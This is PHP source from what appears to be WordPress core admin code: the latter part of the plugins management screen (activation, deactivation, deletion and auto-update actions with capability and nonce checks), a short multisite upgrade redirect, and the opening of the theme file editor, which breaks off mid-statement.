				$recent = (array) get_site_option( 'recently_activated' );
				unset( $recent[ $plugin ] );
				update_site_option( 'recently_activated', $recent );
			}

			if ( isset( $_GET['from'] ) && 'import' === $_GET['from'] ) {
				// Overrides the ?error=true one above and redirects to the Imports page, stripping the -importer suffix.
				wp_redirect( self_admin_url( 'import.php?import=' . str_replace( '-importer', '', dirname( $plugin ) ) ) );
			} elseif ( isset( $_GET['from'] ) && 'press-this' === $_GET['from'] ) {
				wp_redirect( self_admin_url( 'press-this.php' ) );
			} else {
				// Overrides the ?error=true one above.
				wp_redirect( self_admin_url( "plugins.php?activate=true&plugin_status=$status&paged=$page&s=$s" ) );
			}
			exit;

		case 'activate-selected':
			if ( ! current_user_can( 'activate_plugins' ) ) {
				wp_die( __( 'Sorry, you are not allowed to activate plugins for this site.' ) );
			}

			check_admin_referer( 'bulk-plugins' );

			$plugins = isset( $_POST['checked'] ) ? (array) wp_unslash( $_POST['checked'] ) : array();

			if ( is_network_admin() ) {
				foreach ( $plugins as $i => $plugin ) {
					// Only activate plugins which are not already network activated.
					if ( is_plugin_active_for_network( $plugin ) ) {
						unset( $plugins[ $i ] );
					}
				}
			} else {
				foreach ( $plugins as $i => $plugin ) {
					// Only activate plugins which are not already active and are not network-only when on Multisite.
					if ( is_plugin_active( $plugin ) || ( is_multisite() && is_network_only_plugin( $plugin ) ) ) {
						unset( $plugins[ $i ] );
					}
					// Only activate plugins which the user can activate.
					if ( ! current_user_can( 'activate_plugin', $plugin ) ) {
						unset( $plugins[ $i ] );
					}
				}
			}

			if ( empty( $plugins ) ) {
				wp_redirect( self_admin_url( "plugins.php?plugin_status=$status&paged=$page&s=$s" ) );
				exit;
			}

			activate_plugins( $plugins, self_admin_url( 'plugins.php?error=true' ), is_network_admin() );

			if ( ! is_network_admin() ) {
				$recent = (array) get_option( 'recently_activated' );
			} else {
				$recent = (array) get_site_option( 'recently_activated' );
			}

			foreach ( $plugins as $plugin ) {
				unset( $recent[ $plugin ] );
			}

			if ( ! is_network_admin() ) {
				update_option( 'recently_activated', $recent );
			} else {
				update_site_option( 'recently_activated', $recent );
			}

			wp_redirect( self_admin_url( "plugins.php?activate-multi=true&plugin_status=$status&paged=$page&s=$s" ) );
			exit;

		case 'update-selected':
			check_admin_referer( 'bulk-plugins' );

			if ( isset( $_GET['plugins'] ) ) {
				$plugins = explode( ',', wp_unslash( $_GET['plugins'] ) );
			} elseif ( isset( $_POST['checked'] ) ) {
				$plugins = (array) wp_unslash( $_POST['checked'] );
			} else {
				$plugins = array();
			}

			// Used in the HTML title tag.
			$title       = __( 'Update Plugins' );
			$parent_file = 'plugins.php';

			wp_enqueue_script( 'updates' );
			require_once ABSPATH . 'wp-admin/admin-header.php';

			echo '<div class="wrap">';
			echo '<h1>' . esc_html( $title ) . '</h1>';

			$url = self_admin_url( 'update.php?action=update-selected&amp;plugins=' . urlencode( implode( ',', $plugins ) ) );
			$url = wp_nonce_url( $url, 'bulk-update-plugins' );

			echo "<iframe src='$url' style='width: 100%; height:100%; min-height:850px;'></iframe>";
			echo '</div>';
			require_once ABSPATH . 'wp-admin/admin-footer.php';
			exit;

		case 'error_scrape':
			if ( ! current_user_can( 'activate_plugin', $plugin ) ) {
				wp_die( __( 'Sorry, you are not allowed to activate this plugin.' ) );
			}

			check_admin_referer( 'plugin-activation-error_' . $plugin );

			$valid = validate_plugin( $plugin );
			if ( is_wp_error( $valid ) ) {
				wp_die( $valid );
			}

			if ( ! WP_DEBUG ) {
				error_reporting( E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING | E_RECOVERABLE_ERROR );
			}

			ini_set( 'display_errors', true ); // Ensure that fatal errors are displayed.
			// Go back to "sandbox" scope so we get the same errors as before.
			plugin_sandbox_scrape( $plugin );
			/** This action is documented in wp-admin/includes/plugin.php */
			do_action( "activate_{$plugin}" );
			exit;

		case 'deactivate':
			if ( ! current_user_can( 'deactivate_plugin', $plugin ) ) {
				wp_die( __( 'Sorry, you are not allowed to deactivate this plugin.' ) );
			}

			check_admin_referer( 'deactivate-plugin_' . $plugin );

			if ( ! is_network_admin() && is_plugin_active_for_network( $plugin ) ) {
				wp_redirect( self_admin_url( "plugins.php?plugin_status=$status&paged=$page&s=$s" ) );
				exit;
			}

			deactivate_plugins( $plugin, false, is_network_admin() );

			if ( ! is_network_admin() ) {
				update_option( 'recently_activated', array( $plugin => time() ) + (array) get_option( 'recently_activated' ) );
			} else {
				update_site_option( 'recently_activated', array( $plugin => time() ) + (array) get_site_option( 'recently_activated' ) );
			}

			if ( headers_sent() ) {
				echo "<meta http-equiv='refresh' content='" . esc_attr( "0;url=plugins.php?deactivate=true&plugin_status=$status&paged=$page&s=$s" ) . "' />";
			} else {
				wp_redirect( self_admin_url( "plugins.php?deactivate=true&plugin_status=$status&paged=$page&s=$s" ) );
			}
			exit;

		case 'deactivate-selected':
			if ( ! current_user_can( 'deactivate_plugins' ) ) {
				wp_die( __( 'Sorry, you are not allowed to deactivate plugins for this site.' ) );
			}

			check_admin_referer( 'bulk-plugins' );

			$plugins = isset( $_POST['checked'] ) ? (array) wp_unslash( $_POST['checked'] ) : array();
			// Do not deactivate plugins which are already deactivated.
			if ( is_network_admin() ) {
				$plugins = array_filter( $plugins, 'is_plugin_active_for_network' );
			} else {
				$plugins = array_filter( $plugins, 'is_plugin_active' );
				$plugins = array_diff( $plugins, array_filter( $plugins, 'is_plugin_active_for_network' ) );

				foreach ( $plugins as $i => $plugin ) {
					// Only deactivate plugins which the user can deactivate.
					if ( ! current_user_can( 'deactivate_plugin', $plugin ) ) {
						unset( $plugins[ $i ] );
					}
				}
			}
			if ( empty( $plugins ) ) {
				wp_redirect( self_admin_url( "plugins.php?plugin_status=$status&paged=$page&s=$s" ) );
				exit;
			}

			deactivate_plugins( $plugins, false, is_network_admin() );

			$deactivated = array();
			foreach ( $plugins as $plugin ) {
				$deactivated[ $plugin ] = time();
			}

			if ( ! is_network_admin() ) {
				update_option( 'recently_activated', $deactivated + (array) get_option( 'recently_activated' ) );
			} else {
				update_site_option( 'recently_activated', $deactivated + (array) get_site_option( 'recently_activated' ) );
			}

			wp_redirect( self_admin_url( "plugins.php?deactivate-multi=true&plugin_status=$status&paged=$page&s=$s" ) );
			exit;

		case 'delete-selected':
			if ( ! current_user_can( 'delete_plugins' ) ) {
				wp_die( __( 'Sorry, you are not allowed to delete plugins for this site.' ) );
			}

			check_admin_referer( 'bulk-plugins' );

			// $_POST = from the plugin form; $_GET = from the FTP details screen.
			$plugins = isset( $_REQUEST['checked'] ) ? (array) wp_unslash( $_REQUEST['checked'] ) : array();
			if ( empty( $plugins ) ) {
				wp_redirect( self_admin_url( "plugins.php?plugin_status=$status&paged=$page&s=$s" ) );
				exit;
			}

			$plugins = array_filter( $plugins, 'is_plugin_inactive' ); // Do not allow to delete activated plugins.
			if ( empty( $plugins ) ) {
				wp_redirect( self_admin_url( "plugins.php?error=true&main=true&plugin_status=$status&paged=$page&s=$s" ) );
				exit;
			}

			// Bail on all if any paths are invalid.
			// validate_file() returns truthy for invalid files.
			$invalid_plugin_files = array_filter( $plugins, 'validate_file' );
			if ( $invalid_plugin_files ) {
				wp_redirect( self_admin_url( "plugins.php?plugin_status=$status&paged=$page&s=$s" ) );
				exit;
			}

			require ABSPATH . 'wp-admin/update.php';

			$parent_file = 'plugins.php';

			if ( ! isset( $_REQUEST['verify-delete'] ) ) {
				wp_enqueue_script( 'jquery' );
				require_once ABSPATH . 'wp-admin/admin-header.php';

				?>
				<div class="wrap">
				<?php

				$plugin_info              = array();
				$have_non_network_plugins = false;

				foreach ( (array) $plugins as $plugin ) {
					$plugin_slug = dirname( $plugin );

					if ( '.' === $plugin_slug ) {
						$data = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin );
						if ( $data ) {
							$plugin_info[ $plugin ]                     = $data;
							$plugin_info[ $plugin ]['is_uninstallable'] = is_uninstallable_plugin( $plugin );
							if ( ! $plugin_info[ $plugin ]['Network'] ) {
								$have_non_network_plugins = true;
							}
						}
					} else {
						// Get plugins list from that folder.
						$folder_plugins = get_plugins( '/' . $plugin_slug );
						if ( $folder_plugins ) {
							foreach ( $folder_plugins as $plugin_file => $data ) {
								$plugin_info[ $plugin_file ]                     = _get_plugin_data_markup_translate( $plugin_file, $data );
								$plugin_info[ $plugin_file ]['is_uninstallable'] = is_uninstallable_plugin( $plugin );
								if ( ! $plugin_info[ $plugin_file ]['Network'] ) {
									$have_non_network_plugins = true;
								}
							}
						}
					}
				}

				$plugins_to_delete = count( $plugin_info );

				?>
				<?php if ( 1 === $plugins_to_delete ) : ?>
					<h1><?php _e( 'Delete Plugin' ); ?></h1>
					<?php
					if ( $have_non_network_plugins && is_network_admin() ) :
						$maybe_active_plugin = '<strong>' . __( 'Caution:' ) . '</strong> ' . __( 'This plugin may be active on other sites in the network.' );
						wp_admin_notice(
							$maybe_active_plugin,
							array(
								'additional_classes' => array( 'error' ),
							)
						);
					endif;
					?>
					<p><?php _e( 'You are about to remove the following plugin:' ); ?></p>
				<?php else : ?>
					<h1><?php _e( 'Delete Plugins' ); ?></h1>
					<?php
					if ( $have_non_network_plugins && is_network_admin() ) :
						$maybe_active_plugins = '<strong>' . __( 'Caution:' ) . '</strong> ' . __( 'These plugins may be active on other sites in the network.' );
						wp_admin_notice(
							$maybe_active_plugins,
							array(
								'additional_classes' => array( 'error' ),
							)
						);
					endif;
					?>
					<p><?php _e( 'You are about to remove the following plugins:' ); ?></p>
				<?php endif; ?>
					<ul class="ul-disc">
						<?php

						$data_to_delete = false;

						foreach ( $plugin_info as $plugin ) {
							if ( $plugin['is_uninstallable'] ) {
								/* translators: 1: Plugin name, 2: Plugin author. */
								echo '<li>', sprintf( __( '%1$s by %2$s (will also <strong>delete its data</strong>)' ), '<strong>' . $plugin['Name'] . '</strong>', '<em>' . $plugin['AuthorName'] . '</em>' ), '</li>';
								$data_to_delete = true;
							} else {
								/* translators: 1: Plugin name, 2: Plugin author. */
								echo '<li>', sprintf( _x( '%1$s by %2$s', 'plugin' ), '<strong>' . $plugin['Name'] . '</strong>', '<em>' . $plugin['AuthorName'] ) . '</em>', '</li>';
							}
						}

						?>
					</ul>
				<p>
				<?php

				if ( $data_to_delete ) {
					_e( 'Are you sure you want to delete these files and data?' );
				} else {
					_e( 'Are you sure you want to delete these files?' );
				}

				?>
				</p>
				<form method="post" action="<?php echo esc_url( $_SERVER['REQUEST_URI'] ); ?>" style="display:inline;">
					<input type="hidden" name="verify-delete" value="1" />
					<input type="hidden" name="action" value="delete-selected" />
					<?php

					foreach ( (array) $plugins as $plugin ) {
						echo '<input type="hidden" name="checked[]" value="' . esc_attr( $plugin ) . '" />';
					}

					?>
					<?php wp_nonce_field( 'bulk-plugins' ); ?>
					<?php submit_button( $data_to_delete ? __( 'Yes, delete these files and data' ) : __( 'Yes, delete these files' ), '', 'submit', false ); ?>
				</form>
				<?php

				$referer = wp_get_referer();

				?>
				<form method="post" action="<?php echo $referer ? esc_url( $referer ) : ''; ?>" style="display:inline;">
					<?php submit_button( __( 'No, return me to the plugin list' ), '', 'submit', false ); ?>
				</form>
				</div>
				<?php

				require_once ABSPATH . 'wp-admin/admin-footer.php';
				exit;
			} else {
				$plugins_to_delete = count( $plugins );
			} // End if verify-delete.

			$delete_result = delete_plugins( $plugins );

			// Store the result in an option rather than a URL param due to object type & length.
			// Cannot use transient/cache, as that could get flushed if any plugin flushes data on uninstall/delete.
			update_option( 'plugins_delete_result_' . $user_ID, $delete_result, false );
			wp_redirect( self_admin_url( "plugins.php?deleted=$plugins_to_delete&plugin_status=$status&paged=$page&s=$s" ) );
			exit;
		case 'clear-recent-list':
			if ( ! is_network_admin() ) {
				update_option( 'recently_activated', array() );
			} else {
				update_site_option( 'recently_activated', array() );
			}

			break;
		case 'resume':
			if ( is_multisite() ) {
				return;
			}

			if ( ! current_user_can( 'resume_plugin', $plugin ) ) {
				wp_die( __( 'Sorry, you are not allowed to resume this plugin.' ) );
			}

			check_admin_referer( 'resume-plugin_' . $plugin );

			$result = resume_plugin( $plugin, self_admin_url( "plugins.php?error=resuming&plugin_status=$status&paged=$page&s=$s" ) );

			if ( is_wp_error( $result ) ) {
				wp_die( $result );
			}

			wp_redirect( self_admin_url( "plugins.php?resume=true&plugin_status=$status&paged=$page&s=$s" ) );
			exit;
		case 'enable-auto-update':
		case 'disable-auto-update':
		case 'enable-auto-update-selected':
		case 'disable-auto-update-selected':
			if ( ! current_user_can( 'update_plugins' ) || ! wp_is_auto_update_enabled_for_type( 'plugin' ) ) {
				wp_die( __( 'Sorry, you are not allowed to manage plugins automatic updates.' ) );
			}

			if ( is_multisite() && ! is_network_admin() ) {
				wp_die( __( 'Please connect to your network admin to manage plugins automatic updates.' ) );
			}

			$redirect = self_admin_url( "plugins.php?plugin_status={$status}&paged={$page}&s={$s}" );

			if ( 'enable-auto-update' === $action || 'disable-auto-update' === $action ) {
				if ( empty( $plugin ) ) {
					wp_redirect( $redirect );
					exit;
				}

				check_admin_referer( 'updates' );
			} else {
				if ( empty( $_POST['checked'] ) ) {
					wp_redirect( $redirect );
					exit;
				}

				check_admin_referer( 'bulk-plugins' );
			}

			$auto_updates = (array) get_site_option( 'auto_update_plugins', array() );

			if ( 'enable-auto-update' === $action ) {
				$auto_updates[] = $plugin;
				$auto_updates   = array_unique( $auto_updates );
				$redirect       = add_query_arg( array( 'enabled-auto-update' => 'true' ), $redirect );
			} elseif ( 'disable-auto-update' === $action ) {
				$auto_updates = array_diff( $auto_updates, array( $plugin ) );
				$redirect     = add_query_arg( array( 'disabled-auto-update' => 'true' ), $redirect );
			} else {
				$plugins = (array) wp_unslash( $_POST['checked'] );

				if ( 'enable-auto-update-selected' === $action ) {
					$new_auto_updates = array_merge( $auto_updates, $plugins );
					$new_auto_updates = array_unique( $new_auto_updates );
					$query_args       = array( 'enabled-auto-update-multi' => 'true' );
				} else {
					$new_auto_updates = array_diff( $auto_updates, $plugins );
					$query_args       = array( 'disabled-auto-update-multi' => 'true' );
				}

				// Return early if all selected plugins already have auto-updates enabled or disabled.
				// Must use non-strict comparison, so that array order is not treated as significant.
				if ( $new_auto_updates == $auto_updates ) { // phpcs:ignore Universal.Operators.StrictComparisons.LooseEqual
					wp_redirect( $redirect );
					exit;
				}

				$auto_updates = $new_auto_updates;
				$redirect     = add_query_arg( $query_args, $redirect );
			}

			/** This filter is documented in wp-admin/includes/class-wp-plugins-list-table.php */
			$all_items = apply_filters( 'all_plugins', get_plugins() );

			// Remove plugins that don't exist or have been deleted since the option was last updated.
			$auto_updates = array_intersect( $auto_updates, array_keys( $all_items ) );

			update_site_option( 'auto_update_plugins', $auto_updates );

			wp_redirect( $redirect );
			exit;
		default:
			if ( isset( $_POST['checked'] ) ) {
				check_admin_referer( 'bulk-plugins' );

				$screen   = get_current_screen()->id;
				$sendback = wp_get_referer();
				$plugins  = isset( $_POST['checked'] ) ? (array) wp_unslash( $_POST['checked'] ) : array();

				/** This action is documented in wp-admin/edit.php */
				$sendback = apply_filters( "handle_bulk_actions-{$screen}", $sendback, $action, $plugins ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
				wp_safe_redirect( $sendback );
				exit;
			}
			break;
	}
}

$wp_list_table->prepare_items();

wp_enqueue_script( 'plugin-install' );
add_thickbox();

add_screen_option( 'per_page', array( 'default' => 999 ) );

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
				'<p>' . __( 'Plugins extend and expand the functionality of WordPress. Once a plugin is installed, you may activate it or deactivate it here.' ) . '</p>' .
				'<p>' . __( 'The search for installed plugins will search for terms in their name, description, or author.' ) . ' <span id="live-search-desc" class="hide-if-no-js">' . __( 'The search results will be updated as you type.' ) . '</span></p>' .
				'<p>' . sprintf(
					/* translators: %s: WordPress Plugin Directory URL. */
					__( 'If you would like to see more plugins to choose from, click on the &#8220;Add New Plugin&#8221; button and you will be able to browse or search for additional plugins from the <a href="%s">WordPress Plugin Directory</a>. Plugins in the WordPress Plugin Directory are designed and developed by third parties, and are compatible with the license WordPress uses. Oh, and they&#8217;re free!' ),
					__( 'https://wordpress.org/plugins/' )
				) . '</p>',
	)
);
get_current_screen()->add_help_tab(
	array(
		'id'      => 'compatibility-problems',
		'title'   => __( 'Troubleshooting' ),
		'content' =>
				'<p>' . __( 'Most of the time, plugins play nicely with the core of WordPress and with other plugins. Sometimes, though, a plugin&#8217;s code will get in the way of another plugin, causing compatibility issues. If your site starts doing strange things, this may be the problem. Try deactivating all your plugins and re-activating them in various combinations until you isolate which one(s) caused the issue.' ) . '</p>' .
				'<p>' . sprintf(
					/* translators: %s: WP_PLUGIN_DIR constant value. */
					__( 'If something goes wrong with a plugin and you cannot use WordPress, delete or rename that file in the %s directory and it will be automatically deactivated.' ),
					'<code>' . WP_PLUGIN_DIR . '</code>'
				) . '</p>',
	)
);

$help_sidebar_autoupdates = '';

if ( current_user_can( 'update_plugins' ) && wp_is_auto_update_enabled_for_type( 'plugin' ) ) {
	get_current_screen()->add_help_tab(
		array(
			'id'      => 'plugins-themes-auto-updates',
			'title'   => __( 'Auto-updates' ),
			'content' =>
					'<p>' . __( 'Auto-updates can be enabled or disabled for each individual plugin. Plugins with auto-updates enabled will display the estimated date of the next auto-update. Auto-updates depends on the WP-Cron task scheduling system.' ) . '</p>' .
					'<p>' . __( 'Auto-updates are only available for plugins recognized by WordPress.org, or that include a compatible update system.' ) . '</p>' .
					'<p>' . __( 'Please note: Third-party themes and plugins, or custom code, may override WordPress scheduling.' ) . '</p>',
		)
	);

	$help_sidebar_autoupdates = '<p>' . __( '<a href="https://wordpress.org/documentation/article/plugins-themes-auto-updates/">Documentation on Auto-updates</a>' ) . '</p>';
}

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/manage-plugins/">Documentation on Managing Plugins</a>' ) . '</p>' .
	$help_sidebar_autoupdates .
	'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
);

get_current_screen()->set_screen_reader_content(
	array(
		'heading_views'      => __( 'Filter plugins list' ),
		'heading_pagination' => __( 'Plugins list navigation' ),
		'heading_list'       => __( 'Plugins list' ),
	)
);

// Used in the HTML title tag.
$title       = __( 'Plugins' );
$parent_file = 'plugins.php';

require_once ABSPATH . 'wp-admin/admin-header.php';

$invalid = validate_active_plugins();
if ( ! empty( $invalid ) ) {
	foreach ( $invalid as $plugin_file => $error ) {
		$deactivated_message = sprintf(
			/* translators: 1: Plugin file, 2: Error message. */
			__( 'The plugin %1$s has been deactivated due to an error: %2$s' ),
			'<code>' . esc_html( $plugin_file ) . '</code>',
			esc_html( $error->get_error_message() )
		);
		wp_admin_notice(
			$deactivated_message,
			array(
				'id'                 => 'message',
				'additional_classes' => array( 'error' ),
			)
		);
	}
}

// Used by wp_admin_notice() updated notices.
$updated_notice_args = array(
	'id'                 => 'message',
	'additional_classes' => array( 'updated' ),
	'dismissible'        => true,
);
if ( isset( $_GET['error'] ) ) {

	if ( isset( $_GET['main'] ) ) {
		$errmsg = __( 'You cannot delete a plugin while it is active on the main site.' );
	} elseif ( isset( $_GET['charsout'] ) ) {
		$errmsg = sprintf(
			/* translators: %d: Number of characters. */
			_n(
				'The plugin generated %d character of <strong>unexpected output</strong> during activation.',
				'The plugin generated %d characters of <strong>unexpected output</strong> during activation.',
				$_GET['charsout']
			),
			$_GET['charsout']
		);
		$errmsg .= ' ' . __( 'If you notice &#8220;headers already sent&#8221; messages, problems with syndication feeds or other issues, try deactivating or removing this plugin.' );
	} elseif ( 'resuming' === $_GET['error'] ) {
		$errmsg = __( 'Plugin could not be resumed because it triggered a <strong>fatal error</strong>.' );
	} else {
		$errmsg = __( 'Plugin could not be activated because it triggered a <strong>fatal error</strong>.' );
	}

	if ( ! isset( $_GET['main'] ) && ! isset( $_GET['charsout'] )
		&& isset( $_GET['_error_nonce'] ) && wp_verify_nonce( $_GET['_error_nonce'], 'plugin-activation-error_' . $plugin )
	) {
		$iframe_url = add_query_arg(
			array(
				'action'   => 'error_scrape',
				'plugin'   => urlencode( $plugin ),
				'_wpnonce' => urlencode( $_GET['_error_nonce'] ),
			),
			admin_url( 'plugins.php' )
		);

		$errmsg .= '<iframe style="border:0" width="100%" height="70px" src="' . esc_url( $iframe_url ) . '"></iframe>';
	}

	wp_admin_notice(
		$errmsg,
		array(
			'id'                 => 'message',
			'additional_classes' => array( 'error' ),
		)
	);

} elseif ( isset( $_GET['deleted'] ) ) {
	$delete_result = get_option( 'plugins_delete_result_' . $user_ID );
	// Delete it once we're done.
	delete_option( 'plugins_delete_result_' . $user_ID );

	if ( is_wp_error( $delete_result ) ) {
		$plugin_not_deleted_message = sprintf(
			/* translators: %s: Error message. */
			__( 'Plugin could not be deleted due to an error: %s' ),
			esc_html( $delete_result->get_error_message() )
		);
		wp_admin_notice(
			$plugin_not_deleted_message,
			array(
				'id'                 => 'message',
				'additional_classes' => array( 'error' ),
				'dismissible'        => true,
			)
		);
	} else {
		if ( 1 === (int) $_GET['deleted'] ) {
			$plugins_deleted_message = __( 'The selected plugin has been deleted.' );
		} else {
			$plugins_deleted_message = __( 'The selected plugins have been deleted.' );
		}
		wp_admin_notice( $plugins_deleted_message, $updated_notice_args );
	}
} elseif ( isset( $_GET['activate'] ) ) {
	wp_admin_notice( __( 'Plugin activated.' ), $updated_notice_args );
} elseif ( isset( $_GET['activate-multi'] ) ) {
	wp_admin_notice( __( 'Selected plugins activated.' ), $updated_notice_args );
} elseif ( isset( $_GET['deactivate'] ) ) {
	wp_admin_notice( __( 'Plugin deactivated.' ), $updated_notice_args );
} elseif ( isset( $_GET['deactivate-multi'] ) ) {
	wp_admin_notice( __( 'Selected plugins deactivated.' ), $updated_notice_args );
} elseif ( 'update-selected' === $action ) {
	wp_admin_notice( __( 'All selected plugins are up to date.' ), $updated_notice_args );
} elseif ( isset( $_GET['resume'] ) ) {
	wp_admin_notice( __( 'Plugin resumed.' ), $updated_notice_args );
} elseif ( isset( $_GET['enabled-auto-update'] ) ) {
	wp_admin_notice( __( 'Plugin will be auto-updated.' ), $updated_notice_args );
} elseif ( isset( $_GET['disabled-auto-update'] ) ) {
	wp_admin_notice( __( 'Plugin will no longer be auto-updated.' ), $updated_notice_args );
} elseif ( isset( $_GET['enabled-auto-update-multi'] ) ) {
	wp_admin_notice( __( 'Selected plugins will be auto-updated.' ), $updated_notice_args );
} elseif ( isset( $_GET['disabled-auto-update-multi'] ) ) {
	wp_admin_notice( __( 'Selected plugins will no longer be auto-updated.' ), $updated_notice_args );
}
?>

<?php WP_Plugin_Dependencies::display_admin_notice_for_unmet_dependencies(); ?>
<?php WP_Plugin_Dependencies::display_admin_notice_for_circular_dependencies(); ?>
<div class="wrap">
<h1 class="wp-heading-inline">
<?php
echo esc_html( $title );
?>
</h1>

<?php
if ( ( ! is_multisite() || is_network_admin() ) && current_user_can( 'install_plugins' ) ) {
	?>
	<a href="<?php echo esc_url( self_admin_url( 'plugin-install.php' ) ); ?>" class="page-title-action"><?php echo esc_html__( 'Add New Plugin' ); ?></a>
	<?php
}

if ( strlen( $s ) ) {
	echo '<span class="subtitle">';
	printf(
		/* translators: %s: Search query. */
		__( 'Search results for: %s' ),
		'<strong>' . esc_html( urldecode( $s ) ) . '</strong>'
	);
	echo '</span>';
}
?>

<hr class="wp-header-end">

<?php
/**
 * Fires before the plugins list table is rendered.
 *
 * This hook also fires before the plugins list table is rendered in the Network Admin.
 *
 * Please note: The 'active' portion of the hook name does not refer to whether the current
 * view is for active plugins, but rather all plugins actively-installed.
 *
 * @since 3.0.0
 *
 * @param array[] $plugins_all An array of arrays containing information on all installed plugins.
 */
do_action( 'pre_current_active_plugins', $plugins['all'] );
?>

<?php $wp_list_table->views(); ?>

<form class="search-form search-plugins" method="get">
<?php $wp_list_table->search_box( __( 'Search Installed Plugins' ), 'plugin' ); ?>
</form>

<form method="post" id="bulk-action-form">

<input type="hidden" name="plugin_status" value="<?php echo esc_attr( $status ); ?>" />
<input type="hidden" name="paged" value="<?php echo esc_attr( $page ); ?>" />

<?php $wp_list_table->display(); ?>
</form>

	<span class="spinner"></span>
</div>

<?php
wp_print_request_filesystem_credentials_modal();
wp_print_admin_notice_templates();
wp_print_update_row_templates();

require_once ABSPATH . 'wp-admin/admin-footer.php';
<?php
/**
 * Multisite upgrade administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

require_once __DIR__ . '/admin.php';

wp_redirect( network_admin_url( 'upgrade.php' ) );
exit;
<?php
/**
 * Theme file editor administration panel.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( is_multisite() && ! is_network_admin() ) {
	wp_redirect( network_admin_url( 'theme-editor.php' ) );
	exit;
}

if ( ! current_user_can( 'edit_themes' ) ) {
	wp_die( '<p>' . __( 'Sorry, you are not allowed to edit templates for this site.' ) . '</p>' );
}

// Used in the HTML title tag.
$title       = __( 'Edit Themes' );
$parent_file = 'themes.php';

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
				'<p>' . __( 'You can use the theme file editor to edit the individual CSS and PHP files which make up your theme.' ) . '</p>' .
				'<p>' . __( 'Begin by choosing a theme to edit from the dropdown menu and clicking the Select button. A list then appears of the theme&#8217;s template files. Clicking once on any file name causes the file to appear in the large Editor box.' ) . '</p>' .
				'<p>' . __( 'For PHP files, you can use the documentation dropdown to select from functions recognized in that file. Look Up takes you to a web page with reference material about that particular function.' ) . '</p>' .
				'<p id="editor-keyboard-trap-help-1">' . __( 'When using a keyboard to navigate:' ) . '</p>' .
				'<ul>' .
				'<li id="editor-keyboard-trap-help-2">' . __( 'In the editing area, the Tab key enters a tab character.' ) . '</li>' .
				'<li id="editor-keyboard-trap-help-3">' . __( 'To move away from this area, press the Esc key followed by the Tab key.' ) . '</li>' .
				'<li id="editor-keyboard-trap-help-4">' . __( 'Screen reader users: when in forms mode, you may need to press the Esc key twice.' ) . '</li>' .
				'</ul>' .
				'<p>' . __( 'After typing in your edits, click Update File.' ) . '</p>' .
				'<p>' . __( '<strong>Advice:</strong> Think very carefully about your site crashing if you are live-editing the theme currently in use.' ) . '</p>' .
				'<p>' . sprintf(
					/* translators: %s: Link to documentation on child themes. */
					__( 'Upgrading to a newer version of the same theme will override changes made here. To avoid this, consider creating a <a href="%s">child theme</a> instead.' ),
					__( 'https://developer.wordpress.org/themes/advanced-topics/child-themes/' )
				) . '</p>' .
				( is_network_admin() ? '<p>' . __( 'Any edits to files from this screen will be reflected on all sites in the network.' ) . '</p>' : '' ),
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://developer.wordpress.org/themes/">Documentation on Theme Development</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/appearance-theme-file-editor-screen/">Documentation on Editing Themes</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/editing-files/">Documentation on Editing Files</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://developer.wordpress.org/themes/basics/template-tags/">Documentation on Template Tags</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
);

wp_reset_vars( array( 'action', 'error', 'file', 'theme' ) );

if ( $theme ) {
	$stylesheet = $theme;
} else {
	$stylesheet = get_stylesheet();
}

$theme = wp_get_theme( $stylesheet );

if ( ! $theme->exists() ) {
	wp_die( __( 'The requested theme does not exist.' ) );
}

if ( $theme->errors() && 'theme_no_stylesheet' === $theme->errors()->get_error_code() ) {
	wp_die( __( 'The requested theme does not exist.' ) . ' ' . $theme->errors()->get_error_message() );
}

$allowed_files = array();
$style_files   = array();

$file_types = wp_get_theme_file_editable_extensions( $theme );

foreach ( $file_types as $type ) {
	switch ( $type ) {
		case 'php':
			$allowed_files += $theme->get_files( 'php', -1 );
			break;
		case 'css':
			$style_files                = $theme->get_files( 'css', -1 );
			$allowed_files['style.css'] = $style_files['style.css'];
			$allowed_files             += $style_files;
			break;
		default:
			$allowed_files += $theme->get_files( $type, -1 );
			break;
	}
}

// Move functions.php and style.css to the top.
if ( isset( $allowed_files['functions.php'] ) ) {
	$allowed_files = array( 'functions.php' => $allowed_files['functions.php'] ) + $allowed_files;
}
if ( isset( $allowed_files['style.css'] ) ) {
	$allowed_files = array( 'style.css' => $allowed_files['style.css'] ) + $allowed_files;
}

if ( empty( $file ) ) {
	$relative_file = 'style.css';
	$file          = $allowed_files['style.css'];
} else {
	$relative_file = wp_unslash( $file );
	$file          = $theme->get_stylesheet_directory() . '/' . $relative_file;
}

validate_file_to_edit( $file, $allowed_files );

// Handle fallback editing of file when JavaScript is not available.
$edit_error     = null;
$posted_content = null;

if ( 'POST' === $_SERVER['REQUEST_METHOD'] ) {
	$r = wp_edit_theme_plugin_file( wp_unslash( $_POST ) );
	if ( is_wp_error( $r ) ) {
		$edit_error = $r;
		if ( check_ajax_referer( 'edit-theme_' . $stylesheet . '_' . $relative_file, 'nonce', false ) && isset( $_POST['newcontent'] ) ) {
			$posted_content = wp_unslash( $_POST['newcontent'] );
		}
	} else {
		wp_redirect(
			add_query_arg(
				array(
					'a'     => 1, // This means "success" for some reason.
					'theme' => $stylesheet,
					'file'  => $relative_file,
				),
				admin_url( 'theme-editor.php' )
			)
		);
		exit;
	}
}

$settings = array(
